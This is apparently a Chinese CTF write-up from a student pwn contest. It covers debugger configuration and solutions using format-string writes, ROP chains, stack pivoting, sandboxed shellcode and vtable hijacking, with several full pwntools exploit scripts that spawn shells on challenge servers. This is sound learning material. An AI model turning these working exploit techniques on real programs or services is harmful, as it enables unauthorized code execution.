S1rius AI正在绞尽脑汁想思路ING···
S1riusのAI摘要
DeepSeek-chat

趁着学校举办新生赛,蹭一下题目学学PWN,抽空做的题,所以没有完整写wp,抽空简单记录一下

学到的小技巧

IDA

原来装了些插件,比如patch啥的,之前就入个门的我跟风装的,其实都没咋用,这里就先不说了

./IDA/cfg/hexrays.cfg这个配置文件的这三个配置改成这样

效果:ida开局空格进汇编,然后tab,自动就把汇编和伪代码窗口横向拆分合并,并自动开启sync,非常好用,免去ida开局手动开启

image-20261015164423953

pwndbg

gdbinit配置文件自己搜一下,基本都差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
source /home/s1rius/pwndbg/gdbinit.py

# ============ GDB 原生:交互体验 ============
# 退出/重启程序时不再二次确认
set confirm off
# 长输出不暂停,不用狂按回车
set pagination off
# 命令历史持久化保存
set history save on
# 历史记录条数上限
set history size 65536
# 共享库符号未加载时允许 pending 断点
set breakpoint pending on
# 结构体/类按缩进格式化打印
set print pretty on
# 不截断长数组/字符串
set print elements 0
# 打印派生类的真实动态类型
set print object on
# 线程创建/退出不再刷提示
set print thread-events off
# Intel 语法反汇编
set disassembly-flavor intel
# 汇编里的符号名 demangle(C++ 修饰名还原)
set print asm-demangle on
# 栈回溯越过 main 继续打印
set backtrace past-main on

# ============ pwndbg:界面布局 ============
# 寄存器多列压缩,节省纵向空间
set show-compact-regs on
# 关闭启动时的 tip-of-the-day
set show-tips off
# 每次断下自动打印的上下文区块
set context-sections regs disasm code stack backtrace expressions threads last_signal
# 反汇编区额外打印的指令行数
set context-disasm-lines 15
# 栈区打印的行数
set context-stack-lines 15
# 回溯区打印的帧数
set context-backtrace-lines 10
# 源码区打印的行数
set context-code-lines 14

# ============ pwndbg:执行/模拟 ============
# Unicorn 模拟执行,用于解析寄存器/跳转目标(慢就改 jumps-only)
set emulate on
# 模拟结果注解当前指令的寄存器/内存取值
set emulate-annotations on
# 模拟结果注解后续指令
set emulate-future-annotations on

# ============ pwndbg:反汇编注释 ============
# 指令注释(调用目标、跳转标签等)
set disasm-annotations on
# 立即数替换成对应符号名
set disasm-inline-symbols on
# telescope 解引用深度
set disasm-telescope-depth 3

pwndbg带了一些特别好用的指令,比如u查看附近的汇编比gdb的disas好看、stack -f查看当前完整栈等等

对于下面某题程序启动修改自己内存的可以通过打断点,运行到修改后,然后dump出来,实现获取运行时程序,就不用分析自修改原理和编写IDA代码去修改源程序了

pwntools

pwntools自带了很多函数,可以保存份文档,需要的时候看

沙雕ds给我过asm(‘’‘一大串汇编’‘’),web手可写不出来,查一下文档发现有shellcraft.cat(2)直接方便了很多

还有就是pwntools和gdb联动,有gdb.debug 和gdb.attach两种方式各有各的优缺点,我目前一般用debug

下面有道题是带端口的程序调试

1
2
3
4
p = process("./tboxgw")
gdb.attach(p, gdbscript="b *0x40271E\nc")
io = remote("127.0.0.1", 8888)
# io=remote("39.106.48.123",44314)

正常process启动,attach进程

然后另起个io监听程序端口交互,分两路同步但是互不干扰,gdb.debug的话好像就不太能做到?

level up?

就是一简单整数溢出,简单算一下就行了

哪边是好的

学习一下pwntools的send、sendline、p64什么的

Abyss Shellcode

image-20261015162846251

关键代码就在写注释的这三行代码

输进去个asm(shellcraft.sh())即可

heavensdoor

image-20261015163430709

image-20261015163929119

有栈溢出,有后门

buf_在rbp-28h,函数返回地址在rbp+8,那么要填0x28+8字节把栈从buf到rbp填满,下行就是函数返回地址,填上p64(heavens_door_addr),本地跑一下发现段错误了,ropgadget找个ret填上对齐一下,这里可以通过pwntools和gdb联动看段错误具体信息,判断是不是没对齐导致的

队里PWN✌说的,不对的话打他

gdb会显示具体崩溃原因

如果在movaps指令崩溃就是要对齐

未公开手稿

image-20261015172736274

格式化字符串漏洞

格式化串对应位置
%1$pRSI(第 1 个可变参数)
%2$pRDX(第 2 个可变参数)
%3$pRCX(第 3 个可变参数)
%4$pR8(第 4 个可变参数)
%5$pR9(第 5 个可变参数)
%6$p栈上的第 1 个可变参数
%7$p栈上的第 2 个可变参数

gdb stack -f查一下,算一下是第几个就好了,实在不行多试几遍

我后面在其他题目gdb时发现 在高地址的地方有环境变量可以读 %100+$p的地方 好像是

格式化打印机

黑盒的格式化字符串漏洞简单题

老东西,你的替身是最没用哒!

image-20261015185126595

给了写bss段shell_area功能,肯定要写shellcode

没有主动跳shell_area地址,只能自己构造,没有栈溢出,但是有个fmt,%n有写功能,具体要借助pwntools的fmtstr_payload构造fmt写payload

参数说明
offset格式化字符串在栈上的参数偏移(%几$p开始你能控制)
writes字典 {要改的地址: 值},可同时写多个地址
numbwrittenprintf 已经输出的字符数(如果前面有输出)
write_size写入宽度:'byte'、'short'、'int',默认 'byte'

image-20261015185906065

image-20261015184340683

image-20261015185019144

简单算一下:

1
2
3
4
5
RDI -> &format[0] -> %1$p         // 借rdi获取栈上任意一个地址
rsp -> %6$p
format -> 6+2=%8$p                // offset值是这个
canary=rsp+0x43 -> 0x43+6=%73$p   // canary要提前获取到用于sign_note的覆盖
ret -> &format[0] + (0x608-0x3f0) // 要改的值的地址

联调一下,发现完全正确

image-20261015194548888

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(
    arch="amd64", os="linux", log_level="debug"
)

# p = remote("110.42.112.000", 000)
p = process("./purple")
# gdb.attach(p, gdbscript="b *0x4013CA\nb *0x40144E\nc")

# 获取所需数据
p.sendafter("第一句:\n", b"%1$p.%73$p")
res = p.recvline()
format_addr = int(res.split(b".")[0], 16)
ret_addr = format_addr + 0x5F8 - 0x3E0
log.info(f"ret: {hex(ret_addr)}")
canary = int(res.split(b".")[1], 16)
log.info(f"canary: {hex(canary)}")

# 将ret指向shell_area
shell_area = 0x406000
payload = fmtstr_payload(8, {ret_addr: shell_area})
log.info(f"fmtstr payload: {payload}")
p.sendafter("第二句:\n", payload)

# 写入shellcode
shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(0x400, b"A")
p.sendafter("请写入你要显现的内容:\n", shellcode)

# 防止覆盖canary
p.sendafter("最后请交回签名页:\n", b"A" * 0x48 + p64(canary))

p.interactive()

宇宙射线·一

给的脚本是能patch任意一个字节

image-20261015203042475

image-20261015203137387

有栈溢出,但是有canary

既然能patch,那把jz改成jmp,直接绕过

用keypatch插件看看字节码实际patch直接把jz xxx改成ret直接跳过也可以吧)

patch之后会给maps输出,用正则解析一下libc基址

然后解析一下附件libc获取偏移,然后就是简单的构造rop

ds写的,正则还给写错了(
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
from pwn import *
import re

LIBC_PATH = './libc.so.6'

context.log_level = 'debug'
context.arch = 'amd64'

# 连接远程验证器
p = remote('110.42.112.160', 25232)

# 1. 发送补丁位置和机器码
p.recvuntil(b'Enter patch location (hex file offset): ')
p.sendline(b'120f')                # 补丁位置:jz -> jmp
p.recvuntil(b'Enter patch machine code (hex byte): ')
p.sendline(b'eb')                  # 机器码:EB

# 2. 接收 maps 输出,解析 libc 基址
data = p.recvuntil(b'Enter exp (hex): ')
# 寻找 libc 第一个 r--p 映射行
match = re.search(rb'([0-9a-f]+)-[0-9a-f]+ r--p 00000000 .*libc\.so\.6', data)
if not match:
    log.error("无法从 maps 中解析 libc 基址")
    p.close()
    exit(1)
libc_base = int(match.group(1), 16)
log.success(f'libc base = {hex(libc_base)}')

# 3. 加载 libc,获取符号和 gadget 偏移
libc = ELF(LIBC_PATH)
system_off = libc.sym['system']
bin_sh_off = next(libc.search(b'/bin/sh'))
rop = ROP(libc)
pop_rdi_off = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_off = rop.find_gadget(['ret'])[0]

log.info(f'system offset = {hex(system_off)}')
log.info(f'/bin/sh offset = {hex(bin_sh_off)}')
log.info(f'pop rdi; ret offset = {hex(pop_rdi_off)}')
log.info(f'ret offset = {hex(ret_off)}')

# 计算绝对地址
system_addr = libc_base + system_off
bin_sh_addr = libc_base + bin_sh_off
pop_rdi_addr = libc_base + pop_rdi_off
ret_addr = libc_base + ret_off

# 4. 构造 payload
offset = 104                       # 0x60 (buf) + 8 (canary) + 8 (rbp) = 104
payload = b'A' * offset
payload += p64(ret_addr)           # 栈对齐
payload += p64(pop_rdi_addr)       # pop rdi; ret
payload += p64(bin_sh_addr)        # "/bin/sh" 地址
payload += p64(system_addr)        # system 地址
payload = payload.ljust(240, b'B') # read 读取 0xF0 = 240 字节
payload += b'cat flag\n'           # 留给 shell 执行的命令

log.info(f'payload 长度: {len(payload)} 字节')

# 5. 发送 exp(十六进制字符串)
p.sendline(payload.hex().encode())

# 6. 接收结果
try:
    p.recvuntil(b'Well Done.', timeout=5)
    out = p.recvall(timeout=2)
    print(out.decode(errors='replace'))
    # 提取 flag
    flag_match = re.search(rb'flag\{[^}]+\}', out)
    if flag_match:
        log.success(f'FLAG: {flag_match.group(0).decode()}')
    else:
        log.warning('未在输出中找到 flag')
except EOFError:
    log.error('连接意外关闭')
finally:
    p.close()

calc…不对,这不是2025年

写不动了,后面再写

Call My Name

No shell No life

Re:Shellcode

首先读入0x10的shellcode到sc_buf,然后进clean_and_jump跳转执行

依旧长度限制,二段read

本来可以用shellcraft的read但是这里read不接受非立即数,没法[rbp-xxx]

所以只能手动

然后第二关看一下sandboxruby写的那个是个潮罢 拉黑了

image-20261024180108913

可以用shellcraft的syscall省点力气

照着cat2的代码写syscall

image-20261024173435971

完事发现不能用

查一下openat和writev的调用方法和open、write有什么区别

然后跟着改就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(
    arch="amd64", os="linux", log_level="debug"
)

p = remote("110.42.112.160", xxx)
# p = process("./pwn")
# gdb.attach(p, gdbscript="c")

shellcode = asm('''
mov rsi, [rbp-0x40]
add rsi, 0x10
mov dl, 0xff
syscall
jmp rsi
''').ljust(0x10, b"\x00")
p.sendafter("shellcode:", shellcode)

shellcode2 = asm(shellcraft.pushstr("/flag") + shellcraft.syscall("SYS_openat", -100, "rsp", 0, 0) + "\tsub rsp, 0xff\n" + shellcraft.syscall("SYS_read", "rax", "rsp", 0xff) + "push 0xff\npush rsp\n" + shellcraft.syscall("SYS_writev", 1, "rsp", 1))
log.info("shellcode2 length: {}".format(len(shellcode2)))
p.send(shellcode2)

p.interactive()

image-20261024173418462

Shellcode;Gate

from the sea, to the stars

首先开了个bss段,然后有个栈溢出刚好覆盖返回地址,应该是栈迁移,那就借用leave迁移到new_home

翻了一下函数,发现个stars,固定了new_home的地址、大小、RW-等,x查一下哪里调用了,发现是c运行时不确定会不会执行这个函数的话,直接gdb打个断点会不会断在这里就行了可以发现他开局就执行了,所以说bss段那个地址是错的,stars固定的地址才是对的

程序里没有binsh等,但是附件里有libc,那就栈迁移put got表,拿到基址

基址是会变的所以必须一次性跑完

然后返回到voyage,借用read,二次写栈

这里想过用plt调用read,但是gadget好像只有pop rdi,没有后两个参数

这里有个需要注意的,二次写要避免把read完的下一条指令覆盖成错误指令地址,这里glm给出的解决方法是填一堆ret代替随机字符避免这个问题,在下一条地址的后面跟上system(binsh)即可,不用完整走完

image-20261017222424258

具体流程可以在gdb里voyage的call read和vuln的ret设个断点,然后si进去telescope 0x31337000 100看栈变化,对于read的ret返回哪可以,si进read里面,过了两句plt才是真read,把真read的三个ret都打个断点,然后si,看栈位置就好了

根本没有这种ELF

Deal Gone Wrong

简单堆

后面写

序排的明小

image-20261025165538108

v1是int,但是scanf传%lu,这样就会覆盖掉i_1

然后就扩大了可读写范围

但是注意他后面搞了个排序,可能会打乱rbp-8以及后面的空间

同时还有个canary

那么先泄露canary,先写一堆0到canary之前,然后写个%lu不接受的值,比如符号字母等,他就保持原值不动,保留了canary,排完升序之后就原样不动输出了这里必须泄露,因为后面泄露libc时必定会导致栈被打乱,第三步需要恢复canary,然后ret

然后同样的方法,把libc泄露一下这里没法用put got,因为有排序会打乱rop链顺序

这里排序后被打乱,只需gdb调一下,根据libc main+xxx的末三位匹配leak即可(比如这里是1ca)

image-20261025170317227

image-20261025170340160

也就是以1ca结尾的leak=__libc_start_main+122

然后就要用到onegadget了不是,你会发现onegadget全崩了,条件都不符合

那就只能另辟蹊径

用类似滑动窗口的方法,先写xxx个把最后一个固定住,然后再写xxx-1个,把倒数第二个固定住,然后直到固定完canary

1
2
3
4
5
# canary*22+system
place(23, system)    # v8[22] = system
place(22, binsh)     # v8[21] = binsh
place(21, pop_rdi)   # v8[20] = pop_rdi
place(20, ret_g)     # v8[19] = ret,且 [0..18] 全是 canary -> v8[17] = canary ✓

然后输0 ret触发即可了

最后的回响

image-20261031151409515

fmt漏洞,能控限制format[10]开始的48字节 先尝试%p读获取leak等

然后准备往rbp+8写rop链

但是这里的函数返回是exit直接退出 所以正常流程结束的话 不会走rbp+8

那么只能走echo函数内的printf退出触发

那就要往bsp-8处写,但是只能写一个地址,那就要栈迁移

需要先把完整的链子铺在rbp+8

然后往bsp-8写leave; ret

这题的写需要注意,原来的fmtstr_payload函数一键写不能用,因为这个函数用int的话一次默认写满八个字节,如果用short分隔会超长,int分隔会导致计数器过大

如果实在想用的话要用b"A" * 6 + fmtstr_payload(8, {0x0: b"\xff\xff"}, write_size='short', numbwritten=16)

但是这里要注意,fmtstr_payload要求整槽位可写,因为他不会自动根据numbwritten计算槽位状态,所以这个题%7$p位置占了两个字符,只能用A先填满这个槽位,从8开始,也就是b"A" * 6 + fmtstr_payload(8, {0x0: b"\xff\xff"}, write_size='short', numbwritten=16)

手写类似b'%65535c%4$hnpadding\x00\x00\x00\x00'

然后两个字节两个字节得码上去

反正无限循环,多写几轮就行了

from the sea, to the astra

和上题一样的rop链

只不过没有pop rdi

但是又给开了一个r-x内存空间,里面填的是伪随机数,首先程序主动泄露伪随机数的seed(服务器当前时间)以及这块内存空间的crc32值

那就得还原出这块r-x空间,在里面找gadget了这里出题人还把空间里的syscall都给patch掉了(

具体伪随机数的python实现直接问的ai(

还有这里voyage的printf会影响voyage的read复用,得把地址往后写,直接写到read跟前也行

其他就没啥区别了

put got的时候有个空格0a,导致system等的地址是错的,没发现导致调了好几遍

image-20261018172008287

出题人带头哈气

听见你说~

魔法少女的二进制审计

roll roll roll

宇宙射线·二

BIG SHOT

这题漏洞在于能给pitch写比他长度大24的字符串,导致溢出,然后覆盖掉下一个块的头

image-20261101155251454

image-20261101155234651

首先建两个块

image-20261101154615048

image-20261101154630039

然后两次inspect泄露两个块的头,拿到leak

image-20261101155534394

image-20261101160135892

然后类似栈迁移,这里是虚表迁移,随便找一个可写且不会变动的区域,写后门函数的地址(将其作为虚表第0项,此题也就是代替虚函数Addison::advertise的地址),这里往第二个块的pitch区域里写了

此时这块区域还不是真的虚表

image-20261101160209041

通过上面的溢出,将第二个块的vptr指向这个假虚表,此时就狸猫换太子了

image-20261101160331841

然后通过advertise触发这个假的虚函数地址,也就是后门地址

这里还有两种方法实现:ai给出的方案,我没有去尝试以及动调

  1. 覆盖 fwrite@got = system,类似上一道堆题

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    hire A
    hire B
    inspect A      → PIE + 堆地址
    inspect B      → 确认布局
    
    [泄露 libc: 7×hire/fire大卡 + 1×fire + hire(len=0) + advertise]
    
    fire B         → objB 进 tcache 紧邻 bufA
    rewrite A      → 24字节溢出 → 投毒 fd → fake chunk = GOT
    hire C         → new=弹objB, malloc=弹GOT → 写 system
    
    rewrite A      → pitch = "/bin/sh"   (正常长度, 不越界)
    advertise A    → fwrite@GOT已变system → system("/bin/sh") → shell 🎉
  2. 假虚表 + setcontext

    虚表劫持思路和有后门时一样,但假虚表第 0 项填 setcontext + 61(glibc 2.29+ 的经典 gadget):

    1
    advertise → call [objB->vtable] → setcontext+61(rdi = objB)

    setcontext 会从 rdi 偏移处恢复一整套寄存器(典型偏移):

    1
    2
    3
    [rdi+0x68] → rdi    ← 填 "/bin/sh" 的地址
    [rdi+0xA0] → rsp    ← 填一个可用的栈地址(或指向 ROP 链)
    [rdi+0xA8] → rip    ← 填 system

    objB 只有 0x18 字节装不下,但 rdi+0xA0 落在紧跟其后的 bufB 里——给 B 用一张大卡(cap ≥ 0x90),整个 ucontext 都在可控区内:

    1
    2
    3
    4
    5
    6
    7
    8
       objB (rdi)              bufB (大卡)
    ┌───────────┬─────────────┬──────────────────────────┐
    │fake_vtable│ pitch       │ ...  [+0x68]=binsh       │
    │   ──→     │             │      [+0xA0]=rsp         │
    │ setctx+61 │             │      [+0xA8]=system      │
    └───────────┴─────────────┴──────────────────────────┘
       0x20         0x20 ↑          大卡覆盖区
                        └── rdi+0xA0 之后全在 bufB 里

    advertise(B) → 寄存器恢复 → system("/bin/sh")。

雪葬

宇宙射线·三

那里不曾有一位男人

小明的排序